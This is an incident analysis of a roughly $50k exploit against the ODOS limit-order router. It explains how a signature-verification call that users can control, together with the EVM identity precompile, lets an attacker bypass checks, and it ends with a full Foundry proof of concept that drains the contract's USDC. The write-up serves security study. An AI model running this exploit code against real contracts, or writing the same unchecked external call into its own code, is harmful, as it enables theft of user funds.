ODOS Protocol Exploit Analysis: Bypassing Signature Verification with a Precompile Contract
A recent security incident in the ODOS protocol exposed a critical vulnerability in its signature verification logic, resulting in the theft of approximately $50,000 in assets. This article provides an in-depth analysis of the incident, detailing the root cause of the vulnerability and the techniques employed by the attacker.
01. Incident Details
- Timestamp : 2025-01-23 16:55:49 (UTC)
- Total Lost : ~50k
- Attacker : 0x4015d786e33c1842c3e4d27792098e4a3612fc0e
- Attack Contract : 0x22a7da241a39f189a8aec269a6f11a238b6086fc
- Vulnerable Contract : 0xb6333e994fd02a9255e794c177efbdeb1fe779c7
- Attack Tx : 0xd10faa5b33ddb501b1dc6430896c966048271f2510ff9ed681dd6d510c5df9f6
02. Root Cause Analysis
02.1 Vulnerability Overview
The vulnerability originates in the isValidSigImpl
function of the OdosLimitOrderRouter
contract. Designed to verify user signatures according to the EIP-6492 and ERC-1271 standards, this function lacks sufficient input validation, enabling attackers to execute arbitrary external calls.
function isValidSigImpl(
address _signer,
bytes32 _hash,
bytes calldata _signature,
bool allowSideEffects
) public returns (bool) {
uint256 contractCodeLen = address(_signer).code.length;
bytes memory sigToValidate;
// The order here is strictly defined in https://eips.ethereum.org/EIPS/eip-6492
// - ERC-6492 suffix check and verification first, while being permissive in case the contract is already deployed; if the contract is deployed we will check the sig against the deployed version, this allows 6492 signatures to still be validated while taking into account potential key rotation
// - ERC-1271 verification if there's contract code
// - finally, ecrecover
bool isCounterfactual = _signature.length >= 32
&& bytes32(_signature[_signature.length-32:_signature.length]) == ERC6492_DETECTION_SUFFIX;
if (isCounterfactual) {
address create2Factory;
bytes memory factoryCalldata;
(create2Factory, factoryCalldata, sigToValidate) = abi.decode(_signature[0:_signature.length-32], (address, bytes, bytes));
if (contractCodeLen == 0) {
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory err) = create2Factory.call(factoryCalldata);
if (!success) revert ERC6492DeployFailed(err);
}
} else {
sigToValidate = _signature;
}
// Try ERC-1271 verification
if (isCounterfactual || contractCodeLen > 0) {
try IERC1271Wallet(_signer).isValidSignature(_hash, sigToValidate) returns (bytes4 magicValue) {
bool isValid = magicValue == ERC1271_SUCCESS;
if (contractCodeLen == 0 && isCounterfactual && !allowSideEffects) {
// if the call had side effects we need to return the
// result using a `revert` (to undo the state changes)
assembly {
mstore(0, isValid)
revert(31, 1)
}
}
return isValid;
} catch (bytes memory err) { revert ERC1271Revert(err); }
}
// ecrecover verification
if (_signature.length != 65) {
revert InvalidSignatureLength();
}
bytes32 r = bytes32(_signature[0:32]);
bytes32 s = bytes32(_signature[32:64]);
uint8 v = uint8(_signature[64]);
if (v != 27 && v != 28) {
revert InvalidSignatureVValue();
}
return ECDSA.recover(_hash, v, r, s) == _signer;
}
The issue arises in the if (contractCodeLen == 0) block. Here, the function performs an external call using create2Factory and factoryCalldata, both of which are parsed from _signature. Since these values are fully controllable by the user, attackers can craft _signature to execute any desired call, creating an exploitable pathway.
if (contractCodeLen == 0) {
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory err) = create2Factory.call(factoryCalldata);
if (!success) revert ERC6492DeployFailed(err);
}
02.2 Verification Bypass
To successfully execute an external call, the attacker needed to bypass several verification steps:
First, the _signer
address must have a code.length
of 0. This can be achieved by passing an Externally Owned Account (EOA) as the _signer
.
uint256 contractCodeLen = address(_signer).code.length;
...
if (contractCodeLen == 0) {
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory err) = create2Factory.call(factoryCalldata);
if (!success) revert ERC6492DeployFailed(err);
}
However, the subsequent verification step involves calling isValidSignature
on the _signer
address. Using an EOA would cause a revert, resulting in a failed attack.
// Try ERC-1271 verification
if (isCounterfactual || contractCodeLen > 0) {
try IERC1271Wallet(_signer).isValidSignature(_hash, sigToValidate) returns (bytes4 magicValue) {
bool isValid = magicValue == ERC1271_SUCCESS;
if (contractCodeLen == 0 && isCounterfactual && !allowSideEffects) {
// if the call had side effects we need to return the
// result using a `revert` (to undo the state changes)
assembly {
mstore(0, isValid)
revert(31, 1)
}
}
return isValid;
} catch (bytes memory err) { revert ERC1271Revert(err); }
}
To circumvent this, the attacker leveraged a precompiled contract. In the Ethereum Virtual Machine (EVM), precompiled contracts reside at addresses 0x01
to 0x09
. These contracts have no bytecode but execute specific operations when called.
The attacker utilized the Identity Precompile (address 0x04
), which simply returns its input data unchanged. This played a critical role in bypassing the ERC-1271 verification check.
The isValidSigImpl
function expects a bytes4 return value from isValidSignature, but the Identity Precompile returns the entire input data (potentially more than 4 bytes).
One might expect a revert due to the mismatched return data size, but the verification passed unexpectedly. Upon debugging, it was discovered that Solidity only checks the first 32 bytes of the return data when validating a bytes4
return value. If the first 4 bytes are valid and the remaining 28 bytes are zero, the verification succeeds, even if the total return data exceeds 32 bytes (e.g., 68 bytes in this case).
This behavior was confirmed through testing: a function returning 64 bytes of data passed verification as long as the first 32 bytes consisted of a valid 4-byte value followed by 28 zero bytes.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import "forge-std/Test.sol";
contract ChallengeTest is Test {
Challenge challenge;
function setUp() public {
challenge = new Challenge();
}
function testExploit() public {
Wallet wallet = new Wallet();
challenge.callGetBytes4(address(wallet), "");
}
}
contract Wallet {
function getBytes(bytes memory) external pure returns (bytes32, bytes32) {
return (
bytes32(0x1111111100000000000000000000000000000000000000000000000000000000),
bytes32(0x2222222222222222222222222222222222222222222222222222222222222222)
);
}
}
contract Challenge {
function callGetBytes4(address wallet, bytes memory data) external {
IGetBytes4(wallet).getBytes(data);
}
}
interface IGetBytes4 {
function getBytes(bytes memory) external view returns (bytes4);
}
The following log captures the execution of the test above, confirming that a 64-byte return value is treated as a valid bytes4
due to Solidity’s verification logic.
02.3 Attack Flow Summary
Using the techniques described, the attacker bypassed multiple verification checks, crafted an external call to transfer the contract’s tokens, and successfully drained all tokens from the contract.
03. Exploit Reproduction
Below is a Proof of Concept (PoC) script using Foundry to reproduce the vulnerability. This script simulates the process of draining all USDC tokens from the contract:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo - Total Lost : ~50k
// Attacker : https://basescan.org/address/0x4015d786e33c1842c3e4d27792098e4a3612fc0e
// Attack Contract : https://basescan.org/address/0x22a7da241a39f189a8aec269a6f11a238b6086fc
// Vulnerable Contract : https://basescan.org/address/0xb6333e994fd02a9255e794c177efbdeb1fe779c7
// Attack Tx : https://basescan.org/tx/0xd10faa5b33ddb501b1dc6430896c966048271f2510ff9ed681dd6d510c5df9f6
// @Info
// Vulnerable Contract Code : https://basescan.org/address/0xb6333e994fd02a9255e794c177efbdeb1fe779c7#code
// @Analysis
// Post-mortem :
// Twitter Guy : https://x.com/Phalcon_xyz/status/1882630151583981787
// Hacking God :
interface OdosLimitOrderRouter {
function isValidSigImpl(
address _signer,
bytes32 _hash,
bytes calldata _signature,
bool allowSideEffects
) external returns (bool);
}
contract ContractTest is Test {
OdosLimitOrderRouter odosLimitOrderRouterInstance =
OdosLimitOrderRouter(0xB6333E994Fd02a9255E794C177EfBDEB1FE779C7);
IUSDC USDCInstance = IUSDC(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
bytes32 ERC6492_DETECTION_SUFFIX = bytes32(hex"6492649264926492649264926492649264926492649264926492649264926492");
function setUp() public {
vm.createSelectFork("base", 25431001 - 1);
vm.label(address(odosLimitOrderRouterInstance), "OdosLimitOrderRouter");
vm.label(address(USDCInstance), "USDC");
}
function testExploit() public {
emit log_named_decimal_uint(
"[Start] Attacker USDC balance before exploit",
USDCInstance.balanceOf(address(this)),
6
);
uint256 victimUSDCBalance = USDCInstance.balanceOf(address(odosLimitOrderRouterInstance));
bytes memory customCalldata = abi.encodeCall(IUSDC.transfer, (address(this), victimUSDCBalance));
bytes memory signature = abi.encodePacked(
abi.encode(address(USDCInstance), customCalldata, bytes(hex"01")),
ERC6492_DETECTION_SUFFIX
);
odosLimitOrderRouterInstance.isValidSigImpl(address(0x04), bytes32(0x0), signature, true);
emit log_named_decimal_uint(
"[End] Attacker USDC balance before exploit",
USDCInstance.balanceOf(address(this)),
6
);
}
}
The log below records the execution results of the test above.
This PoC has been added to the DefiHackLabs repository. You can review and execute it using the link below: